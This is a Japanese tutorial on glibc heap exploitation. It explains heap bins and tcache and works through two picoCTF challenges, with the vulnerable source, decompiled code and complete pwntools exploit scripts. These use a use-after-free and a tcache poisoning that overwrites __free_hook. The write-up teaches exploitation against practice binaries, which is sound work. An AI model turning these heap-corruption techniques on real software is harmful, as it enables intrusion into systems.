Pwnable - 典型問題 (Heap Exploit編)

## Pwnable - 典型問題シリーズ

1. [Stack Overflow編](https://qiita.com/Koukyosyumei/items/cd62394fa263fb1d0c1d)
2. [ROP編](https://qiita.com/Koukyosyumei/items/89cf4d061cbe405e56b6)
3. Heap Exploit編 (本記事)
4. [FSB編](https://qiita.com/Koukyosyumei/items/12d50a524ef9217210fc)
5. [その他編](https://qiita.com/Koukyosyumei/items/0593df9d6a34feae2e79) 

## 目次

- [Heapの概要](#Heapの概要)
- [PicoCTF: unsubscriptionsarefree](#unsubscriptionsarefree)
- [PicoCTF: zero_to_hero](#zero_to_hero)

## Heapの概要

### チャンク

ヒープはチャンクと呼ばれるブロック単位で管理されている。

```c
struct malloc_chunk{
	INTERNAL_SIZE_T mchunk_prev_size;
	INTERNAL_SIZE_T mchink_size       

	struct malloc_chunk* fd;
	struct malloc_chunk* bk;
};
```

なお、チャンクのサイズは0x10バイト単位にアライメントされるため、下位4ビットは常に0になっている。この部分を有効活用するために、sizeの下位3ビットで以下のフラグを表現する。

- P: PREV_INUSE - prev_chunkが利用中であるかどうか
- M: IS_MMAPED - mmapによって確保された領域であるかどうか
- A: NON_MAIN_ARENA - main_arena以外の別のアリーナで管理されているかどうか

### アリーナ

メモリープールはアリーナと呼ばれる機構で管理する。

```c
struct malloc_state
{
	mfastbiptr fastbinsY[NFASTBINS]; // fastbinをサイズ別に管理する単方向線形リスト

	mchunkptr top; // メモリプールの未使用領域の先頭へのポインタ
	mchunkptr last_reminder; // 既存の解法済みチャンクを分割した時に生じた、利用されなかった残りのチャンクへのポインタ

	mchunkptr bins[NBINS * 2 - 2]; // unsortedbin、smallbin、largebinを管理する双方向循環リスト
	unsigned int binmap[BINMAPSIZE]; // チャンクがつながっているbinsのインデックスに対応するフラグを格納するマップ

	INTERNAL_SIZE_T system_mem; // システムから確保したメモリプールの総量
};
```

Heapでは、freeされた領域を再利用できるように、free済みのチャンクを`bins`で管理している。`bins`は`bins[2n]` (fdに対応) と`bins[2n+1]` (bkに相当) の2つで1セットとなっている。`fd`は`malloc_chunk`の先頭から0x10バイト目にあるので (mchunk_prev_sizeとmchunk_sizeの分)、仮想チャンクの先頭は`bins[2n-2]`の位置となる。

### fastbin

小さいサイズのチャンクは確保や解放が頻繁に行われる傾向にあるので、低速な双方向リストではなく、高速な単方向リストで管理する。

それぞれのチャンクサイズごとに繋がるリストが異なり、0x10ごとに分けられている

```
fastbinsY[0] -- 0x20バイトのチャンク
fastbinsY[1] -- 0x30バイトのチャンク
fastbinsY[2] -- ox40バイトのチャンク
					.
					.
					.
```
     
通常、`fastbinsY`はインデックス0から6まで(0x80がDEFALUT_MAXFAST)利用できる。

`fastbins`で管理されるチャンクは`next_chunk`の`PREV_INUSE`がセットされたままになる (利用されているかのように見える)。

### unsortedbin

unsortedbinは、解放されたチャンクがsmallbinやlargebinに適切に分類される前の一時的な保管場所であると考えることができる。unsortedbinは、bins_at(1)を利用する (bins[0]とbins[1])。ここで管理されるチャンクは、サイズごとにソートされず、つながれた順番のままになっている。malloc時に要求されたサイズと同じチャンクがunsortedbinにあればそれを使い、そのようなチャンクが存在しない場合は、unsortedbin内のチャンクはsmallbinかlargebinに移動させられる。

### smallbin

smallbinはMIN_LARGE_SIZE未満のサイズのチャンクを管理する (典型的には0x400バイト)。unsortedbinとは異なり、1つのbinには同一サイズのチャンクのみが繋がれる。つまり、smallbinで管理されるチャンクの範囲は0x20から0x3f0バイトであり、bins_at(2)からbins_at(63)までを使用する。

### largebin

チャンクサイズの上限はなく、一定範囲のサイズのチャンクが降順で一つのbinに繋がれる。例えば、0x400バイトから0x430バイトの範囲に収まるチャンクは、bin_at(64)に格納される。

```c
#define largebin_index_64(sz)
	((((unsigned long) (sz)) >> 6 <= 48) ? 48 ++ (((unsinged long) (sz)) >> 6)
					.
					.
					.
```

### tcache

tcacheは解放したチャンクをスレッド単位でキャッシュすることを目的にしており、アリーナでは管理されていない。一定のサイズ未満のチャンクがfreeされた時は、`fastbin`ではなく`tcache`につなげておく

`tcache_entry`というチャンクが単方向線形リストで結ばれており、キャッシュされるエントリはentriesでサイズごとに管理されている (fastbinsと同様に0x20バイトから0x10バイトごと)。

```c
typedef struct tcache_entry
{
	struct tcache_entry *next;
	struct tcache_perthread_struct *key;
} tcache_entry;

typedef struct tcache_perthread_struct
{
	uint64_t counts[TCACHE_MAX_BINS];
	tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
```

`TCACHE_MAX_BINS`は64と定義されているので、`entries`は64個まで要素が入る

また、`counts`には、キャッシュされているエントリの数がサイズ別に保存されている。各サイズにキャッシュされているエントリ数には上限があり、`_tcache_count`で決定される(デフォルト値は7)。

`tcache_entry`の`key`は自身が属する`tcache_perthread_struct`の先頭アドレスが格納されており、double freeの検出に使うことができる。

## unsubscriptionsarefree

`i`関数内で`free`を行った後も、プログラムが終了せず、double-free攻撃を行うことができる。

```c
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <ctype.h>

#define FLAG_BUFFER 200
#define LINE_BUFFER_SIZE 20


typedef struct {
	uintptr_t (*whatToDo)();
	char *username;
} cmd;

char choice;
cmd *user;

void hahaexploitgobrrr(){
 	char buf[FLAG_BUFFER];
 	FILE *f = fopen("flag.txt","r");
 	fgets(buf,FLAG_BUFFER,f);
 	fprintf(stdout,"%s\n",buf);
 	fflush(stdout);
}

char * getsline(void) {
	getchar();
	char * line = malloc(100), * linep = line;
	size_t lenmax = 100, len = lenmax;
	int c;
	if(line == NULL)
		return NULL;
	for(;;) {
		c = fgetc(stdin);
		if(c == EOF)
			break;
		if(--len == 0) {
			len = lenmax;
			char * linen = realloc(linep, lenmax *= 2);

			if(linen == NULL) {
				free(linep);
				return NULL;
			}
			line = linen + (line - linep);
			linep = linen;
		}

		if((*line++ = c) == '\n')
			break;
	}
	*line = '\0';
	return linep;
}

void doProcess(cmd* obj) {
	(*obj->whatToDo)();
}

void s(){
 	printf("OOP! Memory leak...%p\n",hahaexploitgobrrr);
 	puts("Thanks for subsribing! I really recommend becoming a premium member!");
}

void p(){
  	puts("Membership pending... (There's also a super-subscription you can also get for twice the price!)");
}

void m(){
	puts("Account created.");
}

void leaveMessage(){
	puts("I only read premium member messages but you can ");
	puts("try anyways:");
	char* msg = (char*)malloc(8);
	read(0, msg, 8);
}

void i(){
	char response;
  	puts("You're leaving already(Y/N)?");
	scanf(" %c", &response);
	if(toupper(response)=='Y'){
		puts("Bye!");
		free(user);
	}else{
		puts("Ok. Get premium membership please!");
	}
}

void printMenu(){
 	puts("Welcome to my stream! ^W^");
 	puts("==========================");
 	puts("(S)ubscribe to my channel");
 	puts("(I)nquire about account deletion");
 	puts("(M)ake an Twixer account");
 	puts("(P)ay for premium membership");
	puts("(l)eave a message(with or without logging in)");
	puts("(e)xit");
}

void processInput(){
  scanf(" %c", &choice);
  choice = toupper(choice);
  switch(choice){
	case 'S':
	if(user){
 		user->whatToDo = (void*)s;
	}else{
		puts("Not logged in!");
	}
	break;
	case 'P':
	user->whatToDo = (void*)p;
	break;
	case 'I':
 	user->whatToDo = (void*)i;
	break;
	case 'M':
 	user->whatToDo = (void*)m;
	puts("===========================");
	puts("Registration: Welcome to Twixer!");
	puts("Enter your username: ");
	user->username = getsline();
	break;
   case 'L':
	leaveMessage();
	break;
	case 'E':
	exit(0);
	default:
	puts("Invalid option!");
	exit(1);
	  break;
  }
}

int main(){
	setbuf(stdout, NULL);
	user = (cmd *)malloc(sizeof(user));
	while(1){
		printMenu();
		processInput();
		//if(user){
			doProcess(user);
		//}
	}
	return 0;
}

```

以下の手順で攻撃を行う。


1. まずプログラムが開始すると、`user`がmallocされる。
2. `I` -> `Y`を入力して、`user`をfreeする。`user`が置かれていた領域はbinに繋がれる。
3. `l`を入力する。
4. `leaveMessage`内でmallocが行われ、`msg`に`user`が置かれている領域が割り当てられる。
5. `leaveMessage`内の`read`を用いて、`msg`(つまり`user`)に`hahaexploitgobrrr`のアドレスを書き込む。
6. `user->whatToDo`を実行すると、`hahaexploitgobrrr`が実行されてしまう。


```python
from pwn import *
import binascii
# r = remote("pwnable.kr",  9004)

context.log_level = 'error'

target_address = 0x80487d6

r = process("./vuln")
print(1, r.recvuntil(b"(e)xit"))
r.sendline(b"I")
print(2, r.recvuntil(b"(Y/N)"))
r.sendline(b"Y")
print(3, r.recvuntil(b"(e)xit"))
r.sendline(b"l")
print(4, r.recvuntil(b"try anyways:"))
r.sendline(p64(target_address))
print(r.recvline())
print(r.recvline())
```

## zero_to_hero

適当に遊んでみると、double freeが発生する場合があることが分かる。

```
From Zero to Hero
So, you want to be a hero?
yes
Really? Being a hero is hard.
Fine. I see I can't convince you otherwise.
It's dangerous to go alone. Take this: 0x7f4bb61e0fd0
1. Get a superpower
2. Remove a superpower
3. Exit
> 1
Describe your new power.
What is the length of your description?
> 100
Enter your description:
> Dummy Power
Done!
1. Get a superpower
2. Remove a superpower
3. Exit
> 2
Which power would you like to remove?
> 0
1. Get a superpower
2. Remove a superpower
3. Exit
> 2
Which power would you like to remove?
> 0
free(): double free detected in tcache 2
Aborted
```

Ghidraで逆コンパイルする。

```c:main
void main(void)

{
  ssize_t sVar1;
  long in_FS_OFFSET;
  int local_2c;
  char is_want_to_be_a_hero [24];
  undefined8 local_10;
  
  local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
  setvbuf(stdin,(char *)0x0,2,0);
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stderr,(char *)0x0,2,0);
  puts("From Zero to Hero");
  puts("So, you want to be a hero?");
  sVar1 = read(0,is_want_to_be_a_hero,0x14);
  is_want_to_be_a_hero[sVar1] = '\0';
  if (is_want_to_be_a_hero[0] != 'y') {
    puts("No? Then why are you even here?");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  puts("Really? Being a hero is hard.");
  puts("Fine. I see I can\'t convince you otherwise.");
  printf("It\'s dangerous to go alone. Take this: %p\n",system);
  while( true ) {
    while( true ) {
      print_menu();
      printf("> ");
      local_2c = 0;
      __isoc99_scanf(&DAT_00401040,&local_2c);
      getchar();
      if (local_2c != 2) break;
      do_remove();
    }
    if (local_2c == 3) break;
    if (local_2c != 1) goto LAB_00400dce;
    do_get();
  }
  puts("Giving up?");
LAB_00400dce:
                    /* WARNING: Subroutine does not return */
  exit(0);
}
```

`do_get`関数では、ユーザーが指定したサイズの領域をmallocし、そのサイズの分だけreadする。なお、readは末尾にヌルバイトを追加するため、mallocしたサイズと同じ大きさのぶんだけreadすることで、ヌルバイトがはみ出てしまっている。

```c:do_get
void do_get(void)
{
  long lVar1;
  void *description;
  ssize_t sVar2;
  long in_FS_OFFSET;
  uint length_of_description;
  int empty_position;
  long canary_val;
  
  canary_val = *(long *)(in_FS_OFFSET + 40);
  length_of_description = 0;
  empty_position = return_the_empty_index();
  if (empty_position < 0) {
    puts("You have too many powers!");
                    /* WARNING: Subroutine does not return */
    exit(-1);
  }
  puts("Describe your new power.");
  puts("What is the length of your description?");
  printf("> ");
  __isoc99_scanf(&DAT_00400f0b,&length_of_description);
  getchar();
  if (1032 < length_of_description) {
    puts("Power too strong!");
                    /* WARNING: Subroutine does not return */
    exit(-1);
  }
  description = malloc((ulong)length_of_description);
  *(void **)(&list_decriptions + (long)empty_position * 8) = description;
  puts("Enter your description: ");
  printf("> ");
  lVar1 = *(long *)(&list_decriptions + (long)empty_position * 8);
  sVar2 = read(0,*(void **)(&list_decriptions + (long)empty_position * 8),
               (ulong)length_of_description);
  *(undefined *)(sVar2 + lVar1) = 0;
  puts("Done!");
  if (canary_val != *(long *)(in_FS_OFFSET + 40)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
```

`do_remove`内でfreeした後にそのポインタを削除していないため、double freeが発生し得る。

```c:do_remove
void do_remove(void)

{
  long in_FS_OFFSET;
  uint target_index;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  target_index = 0;
  puts("Which power would you like to remove?");
  printf("> ");
  __isoc99_scanf(&DAT_00400f0b,&target_index);
  getchar();
  if (6 < target_index) {
    puts("Invalid index!");
                    /* WARNING: Subroutine does not return */
    exit(-1);
  }
  free(*(void **)(&list_decriptions + (ulong)target_index * 8));
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
```

なんとかして、`win`関数を呼び出したい。

```c:win
void win(void)

{
  int iVar1;
  FILE *__fp;
  
  __fp = fopen("flag.txt","r");
  if (__fp != (FILE *)0x0) {
    while( true ) {
      iVar1 = _IO_getc(__fp);
      if ((char)iVar1 == -1) break;
      putchar((int)(char)iVar1);
    }
  }
  return;
}
```

攻撃の概要は以下の通り

1. free呼びだし時に実行される関数を指すポインタである__free_hookをwinのアドレスに書き換えた状態で、freeを行いたい。
2. mallocで確保された領域が__free_hookになるように仕向け、確保後にreadでwinのアドレスを書き込む
3. mallocで確保される領域が__free_hookになるように、FDが__free_hookの領域を示すようなチャンクを作る
4. FDが__free_hookの領域を示すようなチャンクを作るために、double freeを用いる。

```
A (0x30) をmalloc
B (0x110) をmalloc

Bをfree -> tcache (0x110) # 0x110 = 0b100010000
Aをfree -> tcache (0x30)

C (0x30) をmalloc <- Aが使われる
C(=A)に文字列を書き込み。-> ヌルバイトがあふれて次のチャンクの先頭バイトを上書きするため、Bの下位1バイトが0になってしまう結果、Bのサイズが0x100に書き換わる (0x100 = 0b100000000)。

Bをfree -> tcache (0x100) # サイズが改変されているので、double freeを検知できない
D (0x100) をmalloc <- Bが使われる

D(=B)に__free_hookのアドレスを書き込む -> BのFDが__free_hookのアドレスにある

E (0x110) をmalloc <- Bが使われる
Eに適当な文字列を挿入

F (0x110) をmalloc <- Bの次のチャンクのアドレスである__free_hookが返される
F(__free_hook)にwinのアドレスを書き込む。
```

ここで、__free_hookのアドレスを特定する必要があるが、`system`のアドレスを表示させることができるので、そこからlibcのベースアドレスを求めればよい。

なお、各関数のoffsetはnmコマンドによって求めることができる。

```bash
nm -D libc.so.6 | grep system
nm -D libc.so.6 | grep __free_hook
```

```python
SYSTEM_OFFSET = 0x52fd0
FREE_HOOK_OFFSET = 0x1e75a8
WIN_ADDR = 0x400a02

r = process("./zero_to_hero")
r = remote("jupiter.challenges.picoctf.org", port=10089)

r.recvuntil(b"a hero?")
r.sendline(b"yes")
r.recvuntil(b"this: ")
system_addr = r.recvline()
system_addr = int(system_addr[:-1].decode(), 16)

base_addr = system_addr - SYSTEM_OFFSET
freehook_addr = base_addr + FREE_HOOK_OFFSET

# A (0x30) をmalloc
print(1, r.recvuntil(b">"))
r.sendline(b"1")
r.recvuntil(b">")
r.sendline(b"40")
r.recvuntil(b">")
r.sendline(b"A")

# B (0x110) をmalloc
print(2, r.recvuntil(b">"))
r.sendline(b"1")
r.recvuntil(b">")
r.sendline(b"264")
r.recvuntil(b">")
r.sendline(b"B")

# free -> tcache (0x110) # 0x110 = 0b100010000
print(3, r.recvuntil(b">"))
r.sendline(b"2")
r.recvuntil(b">")
r.sendline(b"1")

# Aをfree -> tcache (0x30)
print(4, r.recvuntil(b">"))
r.sendline(b"2")
r.recvuntil(b">")
r.sendline(b"0")

# C (0x30) をmalloc <- Aが使われる
# C(=A)に文字列を書き込み。-> ヌルバイトがあふれて
# 次のチャンクの先頭バイトを上書きするため、Bの下位
# 1バイトが0になってしまう結果、Bのサイズが0x100に
# 書き換わる (0x100 = 0b100000000)。
print(5, r.recvuntil(b">"))
r.sendline(b"1")
r.recvuntil(b"> ")
r.sendline(b"40")
r.recvuntil(b"> ")
r.sendline(b"A"*40)

# Bをfree -> tcache (0x100) # サイズが改変されているので、double freeを検知できない
print(6, r.recvuntil(b">"))
r.sendline(b"2")
r.recvuntil(b"> ")
r.sendline(b"1")

# D (0x100) をmalloc <- Bが使われる
# D(=B)に__free_hookのアドレスを書き込む -> BのFDが__free_hookのアドレスにある
print(7, r.recvuntil(b">"))
r.sendline(b"1")
r.recvuntil(b"> ")
r.sendline(b"248")
r.recvuntil(b"> ")
r.sendline(p64(freehook_addr))

# E (0x110) をmalloc <- Bが使われる
# Eに適当な文字列を挿入
print(8, r.recvuntil(b">"))
r.sendline(b"1")
r.recvuntil(b"> ")
r.sendline(b"264")
r.recvuntil(b"> ")
r.sendline(b"0")

# F (0x110) をmalloc <- Bの次のチャンクのアドレスである__free_hookが返される
# F(__free_hook)にwinのアドレスを書き込む。
print(9, r.recvuntil(b">"))
r.sendline(b"1")
r.recvuntil(b">")
r.sendline(b"264")
r.recvuntil(b"> ")
r.sendline(p64(WIN_ADDR))

print(10, r.recvuntil(b">"))
r.sendline(b"2")
r.recvuntil(b"> ")
r.sendline(b"0")

result = r.recvuntil(b"> ")
print(result.decode())
```